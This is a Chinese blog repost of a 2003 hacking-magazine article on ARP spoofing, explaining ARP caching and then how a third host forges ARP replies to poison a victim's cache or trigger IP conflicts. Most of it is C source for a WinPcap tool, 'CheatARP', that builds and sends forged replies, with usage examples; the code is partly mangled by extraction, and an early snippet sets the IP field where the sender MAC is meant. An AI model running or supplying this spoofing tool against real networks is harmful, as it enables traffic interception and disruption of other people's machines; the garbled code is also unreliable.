mEjY的自由世界

眼界决定世界

ARP包的结构和发送【转载】

最近要完成一个发送arp包的功能,以前没做过封包发送的内容,查找了写资料。不过看代码,arp包的结构搞懂了,不知道为啥还要个头,呵呵原来还要个以太网包头。看来基础知识还要加强啊,这里找了个写的比较详细的例子。

arp 欺骗的技术原理及应用<首发于黑客防线2003年11期>

WriteBy: LionD8

email:   LionD8@126.com

Wesite:   http://liond8.126.com

 

    你知道,数据包在局域网上是怎么传输的吗?是靠什么来传输的吗?也许你会说是靠IP地址,那么你只正确了一半。其实真正在传输过程中是靠计算机的网卡地址即MAC来传输。

   现在我们就用实例来模拟一下传输的全过程。现在有一台计算机A(IP:192.168.85.1  MAC:AA-AA-AA-AA-AA-AA),另一台计算机B(IP:192.168.85.100MAC:BB-BB-BB-BB-BB-BB)现在用A去 ping B。看见 Reply from 192.168.85.100:bytes=32 time<10ms TTL=32 这样的信息。然后在运行中输入arp -a,会看见 192.168.8.100 BB-BB-BB-BB-BB-BB dynamic这样的信息。那就是arp高速缓存中IP地址和MAC地址的一个映射关系,在以太网中,数据传递靠的是MAC,而并不是IP地址。其实在这背后就隐藏着arp的秘密。你一定会问,网络上这么多计算机,A是怎么找到B的?那么我们就来分析一下细节。首先A并不知道B在哪里,那么A首先就会发一个广播的ARP请求,即目的MAC为FF-FF-FF-FF-FF-FF,目的IP为B的192.168.85.100,再带上自己的源IP,和源MAC。那么一个网段上的所有计算机都会接收到来自A的ARP请求,由于每台计算机都有自己唯一的MAC和IP,那么它会分析目的IP即192.168.85.100是不是自己的IP?如果不是,网卡会自动丢弃数据包。如果B接收到了,经过分析,目的IP是自己的,于是更新自己的ARP高速缓存,记录下A的IP和MAC。然后B就会回应A一个ARP应答,就是把A的源IP,源MAC变成现在目的IP,和目的MAC,再带上自己的源IP,源MAC,发送给A。当A机接收到ARP应答后,更新自己的ARP高速缓存,即把arp应答中的B机的源IP,源MAC的映射关系记录在高速缓存中。那么现在A机中有B的MAC和IP,B机中也有A的MAC和IP。arp请求和应答过程就结束了。由于arp高速缓存是会定时自动更新的,在没有静态绑定的情况下,IP和MAC的映射关系会时间流逝自动消失。在以后的通信中,A在和B通信时,会首先察看arp高速缓存中有没有B的IP和MAC的映射关系,如果有,就直接取得MAC地址,如果没有就再发一次ARP请求的广播,B再应答即重复上面动作。

   好了在了解了上面基本arp通信过程后,现在来学习arp欺骗技术就好理解多了,计算机在接收到ARP应答的时候,不管有没有发出ARP请求,都会更新自己的高速缓存。利用这点如果C机(IP:192.168.85.200MAC:CC-CC-CC-CC-CC-CC)伪装成B机向A发出ARP应答,自己伪造B机的源MAC为CC-CC-CC-CC-CC-CC,源IP依旧伪造成B的IP即192.168.85.100,是那么A机的ARP缓存就会被我们伪造的MAC所更新,192.168.85.100对应的MAC就会变成CC-CC-CC-CC-CC-CC.如果A机再利用192.168.85.100即B的IP和B通信,实际上数据包却发给了C机,B机根本就接收不到了。

    下面给出一些程序实现的基本算法。先来给出ARP首部和请求应答的数据结构。如下:

 

以太网  | 以太网 | 帧  | 硬件 | 协议| 硬件 | 协议 | OP| 发送端   |发送端|目的以太|目的

目的地址| 源地址 | 类型| 类型 | 类型| 长度 | 长度 |   |以太网地址|  IP  |网地址  | IP

  6         6        2    2      2      1     1     2     6         4      6        4

|<---以太网首部---->|<-------------------28字节的ARP请求/应答------------->|

 

然后我们根据上面的数据结构定义两个结构分别如下:

//定义一个以太网头部

typedef struct ehhdr

{

    UCHAR    eh_dst[
6];        /* destination ethernet addrress */

    UCHAR    eh_src[
6];        /* source ethernet addresss */

    USHORT   eh_type;          
/* ethernet pachet type    */

}
EHHEADR, *PEHHEADR;

//28字节的ARP请求/应答

typedef struct arphdr

{

    USHORT    arp_hrd;            
/* format of hardware address */

    USHORT    arp_pro;            
/* format of protocol address */

    UCHAR     arp_hln;            
/* length of hardware address */

    UCHAR     arp_pln;            
/* length of protocol address */

    USHORT    arp_op;             
/* ARP/RARP operation */

    UCHAR     arp_sha[
6];         /* sender hardware address */

    ULONG     arp_spa;            
/* sender protocol address */

    UCHAR     arp_tha[
6];         /* target hardware address */

    ULONG     arp_tpa;            
/* target protocol address */

}
ARPHEADR, *PARPHEADR;

//把上面定义的两种结构封装起来

typedef struct arpPacket

{

    EHHEADR    ehhdr;

    ARPHEADR   arphdr;

}
 ARPPACKET, *PARPPACKET;

那么我们自己打造的ARP结构就完成了,剩下的事情就是把我们打造好的结构按照我们的需求赋上值,然后通过适配器发送出去就OK了。

    比如说我们要用C机,去欺骗A机,更新A的ARP缓存中192.168.85.100(B的IP)的MAC为C机的。

    首先定义一个ARPPACKET结构:

    ARPPACKET  ARPPacket;

    ARPPacket.ehhdr.eh_type=htons(0x0806);  //数据类型ARP请求或应答

       ARPPacket.arphdr.arp_hrd = htons(0x0001); //硬件地址为0x0001表示以太网地址

       ARPPacket.arphdr.arp_pro = htons(0x0800); //协议类型字段为0x0800表示IP地址

    ARPPacket.ehhdr.eh_dst=0xAAAAAAAAAAAA   //A机的MAC

    ARPPacket.ehhdr.eh_src=0xCCCCCCCCCCCC    //C机的源MAC

    ARPPacket.arphdr.arp_hln = 6;                  

       ARPPacket.arphdr.arp_pln = 4;

       ARPPacket.arphdr.arp_op = htons(0x0002);      //ARP应答值为2

    ARPPacket.arphdr.arp_spa = 0xCCCCCCCCCCCC //伪造的MAC,在这里C机用的自己的

    ARPPacket.arphdr.arp_tha = 0xAAAAAAAAAAAA //

    ARPPacket.arphdr.arp_spa =inet_addr("192.168.85.100");  //伪造B的IP地址

    ARPPacket.arphdr.arp_tpa = inet_addr("192.168.85.1");   //目标A的IP地址

//把要发送的数据保存在一个缓冲区szPacketBuf中,到时候只要把szPacketBuf的数据发送出去就可以了。

memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));

要发送数据,首先得打开一个适配器,打开一个适配器又需要先获得适配器的名字。如下:

PacketGetAdapterNames((char*)AdapterName, &AdapterLength); //取得所有适配器的名字.

 

LPPACKET lpAdapter =PacketOpenAdapter((LPTSTR) AdapterList[0]); //打开第一块适配器

第一块的下标是从0开始的。返回一个指针,它指向一个正确初始化了的ADAPTER Object

 

lpPacket = PacketAllocatePacket(); //为_PACKET结构分配内存。

PacketInitPacket(lpPacket, szPacketBuf, 60); //packet结构中的buffer设置为传递的szPacketBuf指针

PacketSetNumWrites(lpAdapter, 2); //设置发送次数为2次

//一切就绪发送:

PacketSendPacket(lpAdapter, lpPacket, TRUE); //通过打开的适配器把szPacketBuf的数据发送出去。

PacketFreePacket(lpPacket);         //释放_PACKET结构

PacketCloseAdapter(lpAdapter);      //关闭适配器

然后 在A机上的运行中输入arp -a 会发现原来的 192.168.85.100 BB-BB-BB-BB-BB-BB

变成 192.168.85.100 CC-CC-CC-CC-CC-CC 了。

   另外利用ARP欺骗还可以进行IP冲突,网络执行官就是利用的这个原理,下面只简单介绍一下,如果A机接收到一个ARP应答,其中源IP是192.168.85.1(当然是伪造的),而MAC地址却和A的MAC不同,那么A机就会认为同一个IP对应了两台计算机(因为发现了两个不同的MAC地址)

那么就会出现IP冲突。

CheatARP <desIP> <desMac> <sourceIP> <sourceMac>

比如利用我做的工具:CheatARP 192.168.85.1 AAAAAAAAAAAA 192.168.85.1 BAAAAAAAAAAAA  那么A就会被冲突。

    以上只是代码实现的基本思路和核心代码,有兴趣的朋友可以看看我的源码,源码上也有比较详尽的注释。

 

 

源代码:

/*

ARP 的欺骗的技术原理及应用

请先安装 WinPcap_3_0_a.exe

测试环境2k。

实用平台 NT,2K,XP

*/


#include 
"stdio.h"

#include 
"Packet32.h"

#include 
"wchar.h"

#define EPT_IP 
0x0800 /* type: IP */

#define EPT_ARP 
0x0806 /* type: ARP */

#define EPT_RARP 
0x8035 /* type: RARP */

#define ARP_HARDWARE 
0x0001 /* Dummy type for 802.3 frames */

#define ARP_REQUEST 
0x0001 /* ARP request */

#define ARP_REPLY 
0x0002 /* ARP reply */

#pragma comment(lib, 
"packet.lib")

#pragma comment(lib, 
"ws2_32.lib")

#pragma pack(push, 
1)

//定义一个以太网头部

typedef struct ehhdr

{

UCHAR eh_dst[
6]; /* destination ethernet addrress */

UCHAR eh_src[
6]; /* source ethernet addresss */

USHORT eh_type; 
/* ethernet pachet type */

}
EHHEADR, *PEHHEADR;

//定义一个28字节的arp应答/请求

typedef struct arphdr

{

USHORT arp_hrd; 
/* format of hardware address */

USHORT arp_pro; 
/* format of protocol address */

UCHAR arp_hln; 
/* length of hardware address */

UCHAR arp_pln; 
/* length of protocol address */

USHORT arp_op; 
/* ARP/RARP operation */

UCHAR arp_sha[
6]; /* sender hardware address */

ULONG arp_spa; 
/* sender protocol address */

UCHAR arp_tha[
6]; /* target hardware address */

ULONG arp_tpa; 
/* target protocol address */

}
ARPHEADR, *PARPHEADR;

//把上面定义的两种结构封装起来

typedef struct arpPacket

{

EHHEADR ehhdr;

ARPHEADR arphdr;

}
 ARPPACKET, *PARPPACKET;

#pragma pack(pop)

void Usage();

void ChangeMacAddr(char *p, UCHAR a[]); 

void banner();

int main(int argc, char* argv[])

{

static CHAR AdapterList[10][1024]; 

TCHAR szPacketBuf[
512];

UCHAR MacAddr[
6];

LPADAPTER lpAdapter;

LPPACKET lpPacket;

WCHAR AdapterName[
2048];

WCHAR 
*temp,*temp1;

ARPPACKET ARPPacket;

ULONG AdapterLength 
= 1024;

DWORD AdapterNum 
= 0;

DWORD nRetCode, i;

banner(); 

if(argc!=5)

{

Usage();

return 0;

}
 

//取得所有适配器的名字.

if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)

{

//AdapterName:一块用户负责分配的缓冲区,将把适配器的名字填充进去,

//一串用一个Unicode的"0"分隔的Unicode字符串,每一个都是一个网卡的名字

//AdapterLength:这块缓冲区的大小

printf(
"Unable to retrieve the list of the adapters!");

return 0;

}


temp 
= AdapterName;

temp1
=AdapterName;

= 0;

//把AdapterName中的适配器,分个copy到AdapterList[]中,i从0开始为第一个

while ((*temp != '0')||(*(temp-1!= '0'))

{

if (*temp == '0')

{

memcpy(AdapterList[i],temp1,(temp
-temp1)*sizeof(WCHAR));

temp1
=temp+1;

i
++;

}


temp
++;

}


AdapterNum 
= i;

for (i = 0; i < AdapterNum; i++)

wprintf(L
"%d- %s", i+1, AdapterList[i]);

/* 注意,在这里一定要选择正确的适配器不然会自动重起 */

/* 我机器上的是 */

/* 1- _NdisWanIp */

/* 2- _{02C36709-5318-4861-86DE-A7A81118BFCC} */

/* 选择类似第2项的那种 一定要注意哦! */ 

printf(
"select adapter number:");

scanf(
"%d",&i); //我是输入的2 

if(i>AdapterNum)

{

printf(
"Number error!");

return 0;

}


//打开刚刚选择的那个适配器,AdapterList[i-1]为适配器名字

//如果打开成功,返回一个指针,它指向一个正确初始化了的ADAPTER Object。否则,返回NULL。

lpAdapter 
= (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[i-1]); 

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))

{

nRetCode 
= GetLastError();

printf(
"Unable to open the driver, Error Code : %lx", nRetCode);

return 0;

}


//为_PACKET结构分配内存。如果执行成功,返回指向_PACKET结构的指针。否则,返回NULL。

lpPacket 
= PacketAllocatePacket();

if(lpPacket == NULL)

{

printf(
":failed to allocate the LPPACKET structure.");

return 0;

}


memset(szPacketBuf, 
0, sizeof(szPacketBuf)); //初始化szPacketBuf为0

ChangeMacAddr(argv[
2], MacAddr); //MAC地址转换

memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 
6); //目的MAC地址

ChangeMacAddr(argv[
4], MacAddr); //MAC地址转换

memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 
6); //源MAC地址。

ARPPacket.ehhdr.eh_type 
= htons(EPT_ARP); //数据类型ARP请求或应答

ARPPacket.arphdr.arp_hrd 
= htons(ARP_HARDWARE); //硬件地址为0x0001表示以太网地址

ARPPacket.arphdr.arp_pro 
= htons(EPT_IP); //协议类型字段为0x0800表示IP地址

//硬件地址长度和协议地址长度分别指出硬件地址和协议地址的长度,

//以字节为单位。对于以太网上IP地址的ARP请求或应答来说,它们的值分别为6和4。

ARPPacket.arphdr.arp_hln 
= 6

ARPPacket.arphdr.arp_pln 
= 4;

ARPPacket.arphdr.arp_op 
= htons(ARP_REPLY); //ARP请求值为1,ARP应答值为2,RARP请求值为3,RARP应答值为4

ChangeMacAddr(argv[
4], MacAddr); //MAC地址转换

memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 
6); //伪造的MAC地址

ARPPacket.arphdr.arp_spa 
= inet_addr(argv[3]); //伪造的IP地址

ChangeMacAddr(argv[
2], MacAddr); //MAC地址转换

memset(ARPPacket.arphdr.arp_tha,
0,6); //初始化0

memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 
6); //目标的MAC地址 

ARPPacket.arphdr.arp_tpa 
= inet_addr(argv[1]); //目标的IP地址

//把刚刚自己伪造的ARPPACKET结构复制到szPacketBuf中

memcpy(szPacketBuf, (
char*)&ARPPacket, sizeof(ARPPacket));

//初始化一个_PACKET结构,即将packet结构中的buffer设置为传递的szPacketBuf指针。

//lpPacket,指向一个_PACKET结构的指针。

//szPacketBuf,一个指向一块用户分配的缓冲区的指针。

//60,缓冲区的大小。这是一个读操作从driver传递到应用的最大数据量。

PacketInitPacket(lpPacket, szPacketBuf, 
60);

//设置发送次数2次

if(PacketSetNumWrites(lpAdapter, 2)==FALSE)

{

printf(
"warning: Unable to send more than one packet in a single write!");

}


//发送刚刚伪造的数据包

if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)

{

printf(
"Error sending the packets!");

return 0;

}


printf (
"Send ok!");

PacketFreePacket(lpPacket); 
//释放_PACKET结构

PacketCloseAdapter(lpAdapter); 
//关闭适配器

return 0;

}


void Usage()

{

printf(
"CheatARP <DstIP> <DstMAC> <SourceIP> <SourceMAC>");

printf(
"Such as:");

printf(
"CheatARP 192.168.85.1 FFFFFFFFFFFF 192.168.85.129 005056E9D042");

printf(
"CheatARP 192.168.85.1 005056E9D041 192.168.85.129 AAAAAAAAAAAA");

}


//把输入的12字节的MAC字符串,转变为6字节的16进制MAC地址

void ChangeMacAddr(char *p, UCHAR a[])

{

char* p1=NULL;

int i=0;

int high ,low;

char temp[1];

for (i=0; i<6; i++)

{

p1
=p+1;

switch (*p1) //计算低位的16进进制

{

case 'A': low=10;

break;

case 'B': low=11;

break;

case 'C': low=12;

break;

case 'D': low=13;

break;

case 'E': low=14;

break;

case 'F': low=15;

break;

default: temp[0]=*p1;

low
=atoi(temp); //如果为数字就直接转变成对应的数值

}


switch (*p) //计算高位的16进制

{

case 'A': high=10;

break;

case 'B': high=11;

break;

case 'C': high=12;

break;

case 'D': high=13;

break;

case 'E': high=14;

break;

case 'F': high=15;

break;

default: temp[0]=*p;

high
=atoi(temp); //如果为数字就直接转变成对应的数值

}


p
+=2//指针指向下一个X(高)X(低)字符串

a[i]
=high*16+low; //求和得16进制值

}


}


void banner()

{

printf(
"Made By LionD8.");

printf(
"www.hackerXfiles.com");

}


如转载:请说明作者信息,表明首发刊物。

posted on 2007-09-26 14:07 mEjY 阅读(11143) 评论(1)  编辑 收藏 引用

评论

# re: ARP包的结构和发送【转载】 2008-04-29 15:48 过路者

不错  回复  更多评论   


只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   博问   Chat2DB   管理


<2008年2月>
272829303112
3456789
10111213141516
17181920212223
2425262728291
2345678

导航

统计

常用链接

留言簿(1)

随笔档案

文章分类

文章档案

搜索

最新评论

阅读排行榜

评论排行榜